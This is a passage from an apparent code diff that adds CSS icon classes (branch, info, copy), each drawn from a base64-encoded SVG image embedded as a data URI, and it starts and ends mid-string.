E1IDEuMTcxNyAwLjQ2MTY1IDIuMzUwMSAwLjU2MzMzIDIuODA2IDAuNTM0MzQgMC40NTU5MS0wLjAyOSAyLjcyNzEgMC4yNjQ2MyA0LjU0MzktMS4zMzY0IDEuMTMxOC0yLjA5NzEgNC42MjEzLTguNjcxNyA2Ljg4NDktMTIuODY2IDAuMjA1NzctMC4zNzE5NyAwLjY5NTM4LTAuODY1MzItMC4xMzY0Mi0xLjM2NTgtMi44Mjg2LTEuMjQ3My01LjY1NzItMi40OTQ2LTguNDg1OC0zLjc0MTktMC4wNzY4Ni0wLjAxMDQtMC4xNDg4NS0wLjAxNDQtMC4yMTY1My0wLjAxMjl6bS00LjI2MDcgMTUuODg0YTEuMTM1OSAxLjA2NjcgMCAwIDEgMS4xMzU4IDEuMDY2NiAxLjEzNTkgMS4wNjY3IDAgMCAxLTEuMTM1OCAxLjA2NjYgMS4xMzU5IDEuMDY2NyAwIDAgMS0xLjEzNTgtMS4wNjY2IDEuMTM1OSAxLjA2NjcgMCAwIDEgMS4xMzU4LTEuMDY2NnoiIGZpbGw9InVybCgjYSkiIHN0cm9rZT0iIzAwMCIgc3Ryb2tlLXdpZHRoPSIuMjY0NThweCIvPgo8cGF0aCBkPSJtNjQuOTQxIDE4Ny40OC02Ljc1NjMgMTIuMjM3IiBmaWxsPSJub25lIiBzdHJva2U9IiM1NDAiIHN0cm9rZS1vcGFjaXR5PSIuMTgxODIiIHN0cm9rZS13aWR0aD0iLjI2NSIvPgo8cGF0aCBkPSJtNzAuMzUxIDE4OS44Mi02Ljc1NjMgMTIuNjM5IiBmaWxsPSJub25lIiBzdHJva2U9IiM1NDAiIHN0cm9rZS1vcGFjaXR5PSIuMTgxODIiIHN0cm9rZS13aWR0aD0iLjI2NSIvPgo8cGF0aCBkPSJtNjcuNjgxIDE4OC43MS02Ljc4IDEyLjM1NSIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjNTQwIiBzdHJva2Utb3BhY2l0eT0iLjE4MTgyIiBzdHJva2Utd2lkdGg9Ii4yNjUiLz4KPC9nPgo8L3N2Zz4K\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tpadding: 0.5em 0.6em 0.5em 0.5em;\n+\tcursor:pointer;\n+\tbackground-repeat: no-repeat;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.branch {\n+\tdisplay: inline-block;\n+\tfloat:left;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAyNi43NDkgMjcuMjIyIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPGRlZnM+CjxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDcwOCIgeT0iLS4wNzA4IiB3aWR0aD0iMS4xNDE2IiBoZWlnaHQ9IjEuMTQxNiIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4yNTQyNzk1MyIvPgo8L2ZpbHRlcj4KPGZpbHRlciBpZD0iYSIgeD0iLS4wOTA1NjgiIHk9Ii0uMDQ2MjE0IiB3aWR0aD0iMS4xODExIiBoZWlnaHQ9IjEuMDkyNCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC40Nzk4NDA4OSIvPgo8L2ZpbHRlcj4KPC9kZWZzPgo8bWV0YWRhdGE+CjxyZGY6UkRGPgo8Y2M6V29yayByZGY6YWJvdXQ9IiI+CjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0Pgo8ZGM6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIi8+CjxkYzp0aXRsZS8+CjwvY2M6V29yaz4KPC9yZGY6UkRGPgo8L21ldGFkYXRhPgo8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtNzAuNzQ3IC02OS40NTQpIj4KPGNpcmNsZSBjeD0iODQuMTIxIiBjeT0iODMuMDIyIiByPSIxMy4zNzQiIGZpbGw9Im5vbmUiLz4KPHBhdGggZD0ibTgzLjc3MyA3MC42MDZjLTEuMTg2MiAwLjAxNTQtMi4zNDE4IDAuODQ2ODgtMi40Nzc0IDEuOTk4OGwtMC4wMTI0IDAuMDQ5MWMtMC4xNDk5IDUuNjExMi0wLjA0NzQgMTEuMjUyLTAuMTExNjIgMTYuODc0IDAuMDU4MSAxLjg3NzctMC40NDMzNyAzLjg0NDEgMC44NjgxNyA1LjIwMTIgMS43NDYyIDEuNzQ0NSA0LjIzMTcgMC40OTM5MyA0LjE0MjQtMi41MTU2IDAuMDQ1NS0wLjkyODQyIDAuMDExNy0xLjQwMiAwLjExMDA3LTMuMjM0OSAxLjUwNTIgMS4xMzQ4IDIuOTYwNCAyLjk5NjYgNC44MTk5IDMuNTIzOCAyLjAzNzEgMC4zMTUyOCAzLjQ3NDgtMi4yMDU1IDIuMzEyLTMuODU1MS0yLjI5OTItMi4yMDI1LTQuODIwMi00LjA1Ny03LjE2Ni02LjIyODYgMC4xMzg5LTMuMyAwLjAxNzYtNi4xNDIgMC4wNDY1LTkuNjA2Ny0wLjQxNDMtMS41OTgtMS40ODQ5LTIuMjE5Ni0yLjUzMTYtMi4yMDYxem0wLjE4NDQ5IDExLjg4M2EyLjA3ODkgMi4wNzg5IDAgMCAxIDIuMDc4OSAyLjA3ODkgMi4wNzg5IDIuMDc4OSAwIDAgMS0yLjA3ODkgMi4wNzkgMi4wNzg5IDIuMDc4OSAwIDAgMS0yLjA3ODQtMi4wNzkgMi4wNzg5IDIuMDc4OSAwIDAgMSAyLjA3ODQtMi4wNzg5eiIgZmlsdGVyPSJ1cmwoI2EpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NDU4cHgiLz4KPHBhdGggZD0ibTgzLjUxOCA3MC4yODNjLTEuMTg2MiAwLjAxNTQtMi4zNDE4IDAuODQ2ODgtMi40Nzc0IDEuOTk4OGwtMC4wMTI0IDAuMDQ5MWMtMC4xNDk5IDUuNjExMi0wLjA0NzQgMTEuMjUyLTAuMTExNjIgMTYuODc0IDAuMDU4MSAxLjg3NzctMC40NDMzNyAzLjg0NDEgMC44NjgxNyA1LjIwMTIgMS43NDYyIDEuNzQ0NSA0LjIzMTcgMC40OTM5MyA0LjE0MjQtMi41MTU2IDAuMDQ1NS0wLjkyODQyIDAuMDExNy0xLjQwMiAwLjExMDA3LTMuMjM0OSAxLjUwNTIgMS4xMzQ4IDIuOTYwNCAyLjk5NjYgNC44MTk5IDMuNTIzOCAyLjAzNzEgMC4zMTUyOCAzLjQ3NDgtMi4yMDU1IDIuMzEyLTMuODU1MS0yLjI5OTItMi4yMDI1LTQuODIwMi00LjA1Ny03LjE2Ni02LjIyODYgMC4xMzg5LTMuMyAwLjAxNzYtNi4xNDIgMC4wNDY1LTkuNjA2Ny0wLjQxNDMtMS41OTgtMS40ODQ5LTIuMjE5Ni0yLjUzMTYtMi4yMDYxem0wLjE4NDQ5IDExLjg4M2EyLjA3ODkgMi4wNzg5IDAgMCAxIDIuMDc4OSAyLjA3ODkgMi4wNzg5IDIuMDc4OSAwIDAgMS0yLjA3ODkgMi4wNzkgMi4wNzg5IDIuMDc4OSAwIDAgMS0yLjA3ODQtMi4wNzkgMi4wNzg5IDIuMDc4OSAwIDAgMSAyLjA3ODQtMi4wNzg5eiIgZmlsbD0iI2ZmZiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im04My43MTYgODAuMThhNC4zMDk3IDQuMzA5NyAwIDAgMC00LjMwOTggNC4zMDk4IDQuMzA5NyA0LjMwOTcgMCAwIDAgNC4zMDk4IDQuMzA5OCA0LjMwOTcgNC4zMDk3IDAgMCAwIDQuMzA5OC00LjMwOTggNC4zMDk3IDQuMzA5NyAwIDAgMC00LjMwOTgtNC4zMDk4em0wLjAzMzYgMi4xMDQ4YTIuMTcxNiAyLjE3MTYgMCAwIDEgMi4xNzE1IDIuMTcxNSAyLjE3MTYgMi4xNzE2IDAgMCAxLTIuMTcxNSAyLjE3MTQgMi4xNzE2IDIuMTcxNiAwIDAgMS0yLjE3MTQtMi4xNzE0IDIuMTcxNiAyLjE3MTYgMCAwIDEgMi4xNzE0LTIuMTcxNXoiIGZpbGw9IiNmZmYiIGZpbHRlcj0idXJsKCNiKSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii41Ii8+CjxwYXRoIGQ9Im04My42NjkgODAuMDYyYTQuMzA5NyA0LjMwOTcgMCAwIDAtNC4zMDk4IDQuMzA5OCA0LjMwOTcgNC4zMDk3IDAgMCAwIDQuMzA5OCA0LjMwOTggNC4zMDk3IDQuMzA5NyAwIDAgMCA0LjMwOTgtNC4zMDk4IDQuMzA5NyA0LjMwOTcgMCAwIDAtNC4zMDk4LTQuMzA5OHptMC4wMzM2IDIuMTA0OGEyLjE3MTYgMi4xNzE2IDAgMCAxIDIuMTcxNSAyLjE3MTQgMi4xNzE2IDIuMTcxNiAwIDAgMS0yLjE3MTUgMi4xNzE0IDIuMTcxNiAyLjE3MTYgMCAwIDEtMi4xNzE0LTIuMTcxNCAyLjE3MTYgMi4xNzE2IDAgMCAxIDIuMTcxNC0yLjE3MTR6IiBmaWxsPSIjZmZmIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjYiLz4KPC9nPgo8L3N2Zz4K\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tcursor:pointer;\n+\tpadding: 0.6em;\n+\tbackground-repeat: no-repeat;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.info {\n+\tdisplay: inline-block;\n+\tfloat:left;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+CjwhLS0gQ3JlYXRlZCB3aXRoIElua3NjYXBlIChodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy8pIC0tPgoKPHN2ZwogICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEuMS8iCiAgIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiCiAgIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyIKICAgeG1sbnM6c3ZnPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIKICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIgogICB4bWxuczpzb2RpcG9kaT0iaHR0cDovL3NvZGlwb2RpLnNvdXJjZWZvcmdlLm5ldC9EVEQvc29kaXBvZGktMC5kdGQiCiAgIHhtbG5zOmlua3NjYXBlPSJodHRwOi8vd3d3Lmlua3NjYXBlLm9yZy9uYW1lc3BhY2VzL2lua3NjYXBlIgogICB2aWV3Qm94PSIwIDAgOS43MDk3NTk3IDkuNzA5MjIwOSIKICAgdmVyc2lvbj0iMS4xIgogICBpZD0ic3ZnNDA3OCIKICAgaW5rc2NhcGU6dmVyc2lvbj0iMC45Mi4zICgyNDA1NTQ2LCAyMDE4LTAzLTExKSIKICAgc29kaXBvZGk6ZG9jbmFtZT0iaW5mby5zdmciPgogIDxkZWZzCiAgICAgaWQ9ImRlZnM0MDcyIj4KICAgIDxmaWx0ZXIKICAgICAgIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIKICAgICAgIHN0eWxlPSJjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM6c1JHQiIKICAgICAgIGlkPSJmaWx0ZXI0MDU2IgogICAgICAgeD0iLTAuMDQwNzk4NzcyIgogICAgICAgd2lkdGg9IjEuMDgxNTk3NCIKICAgICAgIHk9Ii0wLjA0MDgwMTIyNyIKICAgICAgIGhlaWdodD0iMS4wODE2MDI1Ij4KICAgICAgPGZlR2F1c3NpYW5CbHVyCiAgICAgICAgIGlua3NjYXBlOmNvbGxlY3Q9ImFsd2F5cyIKICAgICAgICAgc3RkRGV2aWF0aW9uPSIwLjE1MjYwODQ5IgogICAgICAgICBpZD0iZmVHYXVzc2lhbkJsdXI0MDU4IiAvPgogICAgPC9maWx0ZXI+CiAgPC9kZWZzPgogIDxzb2RpcG9kaTpuYW1lZHZpZXcKICAgICBpZD0iYmFzZSIKICAgICBwYWdlY29sb3I9IiNmZmZmZmYiCiAgICAgYm9yZGVyY29sb3I9IiM2NjY2NjYiCiAgICAgYm9yZGVyb3BhY2l0eT0iMS4wIgogICAgIGlua3NjYXBlOnBhZ2VvcGFjaXR5PSIwLjAiCiAgICAgaW5rc2NhcGU6cGFnZXNoYWRvdz0iMiIKICAgICBpbmtzY2FwZTp6b29tPSIyMi40IgogICAgIGlua3NjYXBlOmN4PSIzNS40NDI4NDciCiAgICAgaW5rc2NhcGU6Y3k9IjEwLjE1NDAwMiIKICAgICBpbmtzY2FwZTpkb2N1bWVudC11bml0cz0ibW0iCiAgICAgaW5rc2NhcGU6Y3VycmVudC1sYXllcj0ibGF5ZXIxIgogICAgIHNob3dncmlkPSJmYWxzZSIKICAgICBpbmtzY2FwZTp3aW5kb3ctd2lkdGg9IjM4NDAiCiAgICAgaW5rc2NhcGU6d2luZG93LWhlaWdodD0iMjA5NiIKICAgICBpbmtzY2FwZTp3aW5kb3cteD0iMCIKICAgICBpbmtzY2FwZTp3aW5kb3cteT0iMjciCiAgICAgaW5rc2NhcGU6d2luZG93LW1heGltaXplZD0iMSIgLz4KICA8bWV0YWRhdGEKICAgICBpZD0ibWV0YWRhdGE0MDc1Ij4KICAgIDxyZGY6UkRGPgogICAgICA8Y2M6V29yawogICAgICAgICByZGY6YWJvdXQ9IiI+CiAgICAgICAgPGRjOmZvcm1hdD5pbWFnZS9zdmcreG1sPC9kYzpmb3JtYXQ+CiAgICAgICAgPGRjOnR5cGUKICAgICAgICAgICByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIiAvPgogICAgICAgIDxkYzp0aXRsZSAvPgogICAgICA8L2NjOldvcms+CiAgICA8L3JkZjpSREY+CiAgPC9tZXRhZGF0YT4KICA8ZwogICAgIGlua3NjYXBlOmxhYmVsPSJMYXllciAxIgogICAgIGlua3NjYXBlOmdyb3VwbW9kZT0ibGF5ZXIiCiAgICAgaWQ9ImxheWVyMSIKICAgICB0cmFuc2Zvcm09InRyYW5zbGF0ZSg1NDEuNTgxMDcsMjcxLjc5NTA5KSI+CiAgICA8cGF0aAogICAgICAgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIKICAgICAgIHN0eWxlPSJmaWxsOiMwMDAwMDA7ZmlsbC1vcGFjaXR5OjE7c3Ryb2tlOiM1NTQ0MDA7c3Ryb2tlLXdpZHRoOjAuMDY1O3N0cm9rZS1taXRlcmxpbWl0OjQ7c3Ryb2tlLWRhc2hhcnJheTpub25lO3N0cm9rZS1vcGFjaXR5OjAuMTgxODE4MTc7ZmlsdGVyOnVybCgjZmlsdGVyNDA1NikiCiAgICAgICBkPSJtIC01MzYuNzI2MTgsLTI3MS40Mjg4MyBhIDQuNDg4NDY3Myw0LjQ4ODQ2NzMgMCAwIDAgLTQuNDg4NjMsNC40ODg2IDQuNDg4NDY3Myw0LjQ4ODQ2NzMgMCAwIDAgNC40ODg2Myw0LjQ4ODEgNC40ODg0NjczLDQuNDg4NDY3MyAwIDAgMCA0LjQ4ODYxLC00LjQ4ODEgNC40ODg0NjczLDQuNDg4NDY3MyAwIDAgMCAtNC40ODg2MSwtNC40ODg2IHogbSAwLjQ3OCwxLjIxNjk4IGMgMC4yODU0NiwwIDAuNDkwNCwwLjIyMjc1IDAuNDkwNCwwLjUyNjA0IDAsMC4zNjU3NiAtMC4yNTg3OSwwLjY0MjM2IC0wLjYwNjY2LDAuNjQyMzYgLTAuMzEyMjMsMCAtMC40OTA0MywtMC4xODczOCAtMC40OTA0MywtMC41MDg1MSAwLC0wLjM3NDY1IDAuMjY3NzMsLTAuNjU5ODkgMC42MDY2OSwtMC42NTk4OSB6IG0gLTAuMTYwNzEsMi4wMTU4OCBjIDAuMTMzOCwwIDAuMjIzMjMsMC4xMzM5NiAwLjIyMzIzLDAuMzMwMjMgMCwwLjE3ODM4IC0wLjAzNiwwLjQyNzg4IC0wLjA4MDYsMC41OTczOCBsIC0wLjQ4MTY1LDEuNzQ4NzEgYyAtMC4xMTU5NCwwLjQxOTI1IC0wLjE3ODI4LDAuNzEzNDQgLTAuMTc4MjgsMC44Mjk0MSAwLDAuMDUzNSAwLjA0NDUsMC4wOTgyIDAuMTA2OTcsMC4wOTgyIDAuMDg5MiwwIDAuMjMxOTQsLTAuMDcxNCAwLjU0NDE3LC0wLjI2NzY4IGwgMC4yNDA4LC0wLjE1MTQyIDAuMTA2OTcsMC4yNDk2MSBjIC0wLjA5ODEsMC4wNzEzIC0wLjEzMzY0LDAuMDg5MSAtMC4yNDk1OCwwLjE3ODI3IC0wLjcyMjU4LDAuNTE3NCAtMS4xNDIwNywwLjcyMjQ1IC0xLjQ4MTA2LDAuNzIyNDUgLTAuMTY5NDksMCAtMC4yODUyNSwtMC4xNTE1MyAtMC4yODUyNSwtMC4zODM0NiAwLC0wLjE0MjcyIDAuMDI2NSwtMC4zMzg2NCAwLjA1MzIsLTAuNDYzNTMgbCAwLjUyNjYsLTIuMTUwMjcgYyAwLjA1MzUsLTAuMjMxOSAwLjA3MTMsLTAuMzAzMDIgMC4wNzEzLC0wLjM1NjU1IDAsLTAuMDYyNCAtMC4wMzU5LC0wLjA5ODIgLTAuMDg5NCwtMC4wOTgyIC0wLjA4MDMsMCAtMC40NDU5OCwwLjE3ODQ2IC0wLjYxNTQ3LDAuMzAzMzQgbCAtMC4xOTU4NCwwLjE0MjYxIC0wLjExNjI2LC0wLjIzMjAxIDAuNTYyMjQsLTAuNDE5MSBjIDAuNTQ0MTQsLTAuNDEwMzQgMS4wNzkyMSwtMC42NzggMS4zMzc4OSwtMC42NzggeiIKICAgICAgIGlkPSJwYXRoMzQ3Mi0zIiAvPgogICAgPHBhdGgKICAgICAgIHN0eWxlPSJmaWxsOiNmZmZmZmY7c3Ryb2tlOiMwMDAwMDA7c3Ryb2tlLXdpZHRoOjAuMjY0NTgzMzJweDtzdHJva2UtbGluZWNhcDpidXR0O3N0cm9rZS1saW5lam9pbjptaXRlcjtzdHJva2Utb3BhY2l0eToxIgogICAgICAgZD0ibSAtNTM3LjA0NTM2LC0yNzAuNzQzODkgMS44NTQ0NSwwLjQwMTYgMC4xMDYzMSwzLjQxMzYgLTAuNTc4NzgsMi41ODY3OCAtMS4wMTU4MSwwLjgwMzE5IC0xLjQ1Mjg1LDAuMTUzNTYgYyAwLDAgLTAuOTA5NSwtMS4wMTU4MSAtMC45MDk1LC0xLjA4NjY4IDAsLTAuMDcwOSAtMC4xNTM1NiwtMS40MTc0MSAtMC4xNTM1NiwtMS41MzU1MyAwLC0wLjExODEyIDAuNDI1MjMsLTIuMTg1MTggMC40MjUyMywtMi4xODUxOCBsIDAuODc0MDcsLTAuODE1MDEgeiIKICAgICAgIGlkPSJwYXRoNTM0NCIKICAgICAgIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIC8+CiAgICA8cGF0aAogICAgICAgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIKICAgICAgIHN0eWxlPSJmaWxsOiMyYTdmZmY7ZmlsbC1vcGFjaXR5OjE7c3Ryb2tlOiMwMDAwMDA7c3Ryb2tlLXdpZHRoOjAuMDY1O3N0cm9rZS1taXRlcmxpbWl0OjQ7c3Ryb2tlLWRhc2hhcnJheTpub25lO3N0cm9rZS1vcGFjaXR5OjAuMTgxODE4MTciCiAgICAgICBkPSJtIC01MzYuODE0NzcsLTI3MS41MjM2NSBhIDQuNDg4NDY3Myw0LjQ4ODQ2NzMgMCAwIDAgLTQuNDg4NjMsNC40ODg2IDQuNDg4NDY3Myw0LjQ4ODQ2NzMgMCAwIDAgNC40ODg2Myw0LjQ4ODEgNC40ODg0NjczLDQuNDg4NDY3MyAwIDAgMCA0LjQ4ODYsLTQuNDg4MSA0LjQ4ODQ2NzMsNC40ODg0NjczIDAgMCAwIC00LjQ4ODYsLTQuNDg4NiB6IG0gMC40Nzc5OSwxLjIxNjk3IGMgMC4yODU0NiwwIDAuNDkwNDEsMC4yMjI3NiAwLjQ5MDQxLDAuNTI2MDUgMCwwLjM2NTc2IC0wLjI1ODc5LDAuNjQyMzUgLTAuNjA2NjYsMC42NDIzNSAtMC4zMTIyNCwwIC0wLjQ5MDQ0LC0wLjE4NzM3IC0wLjQ5MDQ0LC0wLjUwODUgMCwtMC4zNzQ2NSAwLjI2Nzc0LC0wLjY1OTkgMC42MDY2OSwtMC42NTk5IHogbSAtMC4xNjA3LDIuMDE1ODkgYyAwLjEzMzc5LDAgMC4yMjMyMiwwLjEzMzk2IDAuMjIzMjIsMC4zMzAyMyAwLDAuMTc4MzggLTAuMDM2LDAuNDI3ODggLTAuMDgwNiwwLjU5NzM3IGwgLTAuNDgxNjUsMS43NDg3MSBjIC0wLjExNTk0LDAuNDE5MjYgLTAuMTc4MjcsMC43MTM0NSAtMC4xNzgyNywwLjgyOTQyIDAsMC4wNTM1IDAuMDQ0NSwwLjA5ODIgMC4xMDY5NywwLjA5ODIgMC4wODkyLDAgMC4yMzE5MywtMC4wNzE0IDAuNTQ0MTcsLTAuMjY3NjggbCAwLjI0MDgsLTAuMTUxNDIgMC4xMDY5NywwLjI0OTYxIGMgLTAuMDk4MSwwLjA3MTMgLTAuMTMzNjQsMC4wODkxIC0wLjI0OTU5LDAuMTc4MjcgLTAuNzIyNTcsMC41MTczOSAtMS4xNDIwNywwLjcyMjQ1IC0xLjQ4MTA1LDAuNzIyNDUgLTAuMTY5NSwwIC0wLjI4NTI1LC0wLjE1MTUzIC0wLjI4NTI1LC0wLjM4MzQ2IDAsLTAuMTQyNzIgMC4wMjY1LC0wLjMzODY0IDAuMDUzMiwtMC40NjM1MyBsIDAuNTI2NiwtMi4xNTAyNyBjIDAuMDUzNSwtMC4yMzE5IDAuMDcxMywtMC4zMDMwMiAwLjA3MTMsLTAuMzU2NTUgMCwtMC4wNjI0IC0wLjAzNTksLTAuMDk4MiAtMC4wODk0LC0wLjA5ODIgLTAuMDgwMywwIC0wLjQ0NTk4LDAuMTc4NDcgLTAuNjE1NDcsMC4zMDMzNSBsIC0wLjE5NTg1LDAuMTQyNjEgLTAuMTE2MjYsLTAuMjMyMDEgMC41NjIyNCwtMC40MTkxIGMgMC41NDQxNSwtMC40MTAzNSAxLjA3OTIxLC0wLjY3OCAxLjMzNzksLTAuNjc4IHoiCiAgICAgICBpZD0icGF0aDM0NzIiIC8+CiAgPC9nPgo8L3N2Zz4\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tcursor:pointer;\n+\tpadding:0.6em;\n+\tbackground-repeat: no-repeat;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.copy {\n+\tdisplay: inline-block;\n+\tfloat:left;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA1Ljc2MjIgOC4wMDkiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6Y2M9Imh0dHA6Ly9jcmVhdGl2ZWNvbW1vbnMub3JnL25zIyIgeG1sbnM6ZGM9Imh0dHA6Ly9wdXJsLm9yZy9kYy9lbGVtZW50cy8xLjEvIiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgo8ZGVmcz4KPGZpbHRlciBpZD0iYSIgeD0iLS4wNDA3OTkiIHk9Ii0uMDQwODAxIiB3aWR0aD0iMS4wODE2IiBoZWlnaHQ9IjEuMDgxNiIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC4xNTI2MDg0OSIvPgo8L2ZpbHRlcj4KPGZpbHRlciBpZD0iYiIgeD0iLS4wODg0ODciIHk9Ii0uMDY0NzcyIiB3aWR0aD0iMS4xNzciIGhlaWdodD0iMS4xMjk1IiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgo8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjE1NjQzNDcyIi8+CjwvZmlsdGVyPgo8ZmlsdGVyIGlkPSJjIiB4PSItLjA4ODQ4NyIgeT0iLS4wNjQ3NzIiIHdpZHRoPSIxLjE3NyIgaGVpZ2h0PSIxLjEyOTUiIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CjxmZUdhdXNzaWFuQmx1ciBzdGREZXZpYXRpb249IjAuMTU2NDM0NzIiLz4KPC9maWx0ZXI+CjwvZGVmcz4KPG1ldGFkYXRhPgo8cmRmOlJERj4KPGNjOldvcmsgcmRmOmFib3V0PSIiPgo8ZGM6Zm9ybWF0PmltYWdlL3N2Zyt4bWw8L2RjOmZvcm1hdD4KPGRjOnR5cGUgcmRmOnJlc291cmNlPSJodHRwOi8vcHVybC5vcmcvZGMvZGNtaXR5cGUvU3RpbGxJbWFnZSIvPgo8ZGM6dGl0bGUvPgo8L2NjOldvcms+CjwvcmRmOlJERj4KPC9tZXRhZGF0YT4KPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTUyMi41MSAtNzE1LjU3KSI+CjxwYXRoIGQ9Im0tNTM2LjczLTI3MS40M2E0LjQ4ODUgNC40ODg1IDAgMCAwLTQuNDg4NiA0LjQ4ODYgNC40ODg1IDQuNDg4NSAwIDAgMCA0LjQ4ODYgNC40ODgxIDQuNDg4NSA0LjQ4ODUgMCAwIDAgNC40ODg2LTQuNDg4MSA0LjQ4ODUgNC40ODg1IDAgMCAwLTQuNDg4Ni00LjQ4ODZ6bTAuNDc4IDEuMjE3YzAuMjg1NDYgMCAwLjQ5MDQgMC4yMjI3NSAwLjQ5MDQgMC41MjYwNCAwIDAuMzY1NzYtMC4yNTg3OSAwLjY0MjM2LTAuNjA2NjYgMC42NDIzNi0wLjMxMjIzIDAtMC40OTA0My0wLjE4NzM4LTAuNDkwNDMtMC41MDg1MSAwLTAuMzc0NjUgMC4yNjc3My0wLjY1OTg5IDAuNjA2NjktMC42NTk4OXptLTAuMTYwNzEgMi4wMTU5YzAuMTMzOCAwIDAuMjIzMjMgMC4xMzM5NiAwLjIyMzIzIDAuMzMwMjMgMCAwLjE3ODM4LTAuMDM2IDAuNDI3ODgtMC4wODA2IDAuNTk3MzhsLTAuNDgxNjUgMS43NDg3Yy0wLjExNTk0IDAuNDE5MjUtMC4xNzgyOCAwLjcxMzQ0LTAuMTc4MjggMC44Mjk0MSAwIDAuMDUzNSAwLjA0NDUgMC4wOTgyIDAuMTA2OTcgMC4wOTgyIDAuMDg5MiAwIDAuMjMxOTQtMC4wNzE0IDAuNTQ0MTctMC4yNjc2OGwwLjI0MDgtMC4xNTE0MiAwLjEwNjk3IDAuMjQ5NjFjLTAuMDk4MSAwLjA3MTMtMC4xMzM2NCAwLjA4OTEtMC4yNDk1OCAwLjE3ODI3LTAuNzIyNTggMC41MTc0LTEuMTQyMSAwLjcyMjQ1LTEuNDgxMSAwLjcyMjQ1LTAuMTY5NDkgMC0wLjI4NTI1LTAuMTUxNTMtMC4yODUyNS0wLjM4MzQ2IDAtMC4xNDI3MiAwLjAyNjUtMC4zMzg2NCAwLjA1MzItMC40NjM1M2wwLjUyNjYtMi4xNTAzYzAuMDUzNS0wLjIzMTkgMC4wNzEzLTAuMzAzMDIgMC4wNzEzLTAuMzU2NTUgMC0wLjA2MjQtMC4wMzU5LTAuMDk4Mi0wLjA4OTQtMC4wOTgyLTAuMDgwMyAwLTAuNDQ1OTggMC4xNzg0Ni0wLjYxNTQ3IDAuMzAzMzRsLTAuMTk1ODQgMC4xNDI2MS0wLjExNjI2LTAuMjMyMDEgMC41NjIyNC0wLjQxOTFjMC41NDQxNC0wLjQxMDM0IDEuMDc5Mi0wLjY3OCAxLjMzNzktMC42Nzh6IiBmaWx0ZXI9InVybCgjYSkiIHN0cm9rZT0iIzU0MCIgc3Ryb2tlLW9wYWNpdHk9Ii4xODE4MiIgc3Ryb2tlLXdpZHRoPSIuMDY1Ii8+CjxwYXRoIGQ9Im0tNTM2LjgxLTI3MS41MmE0LjQ4O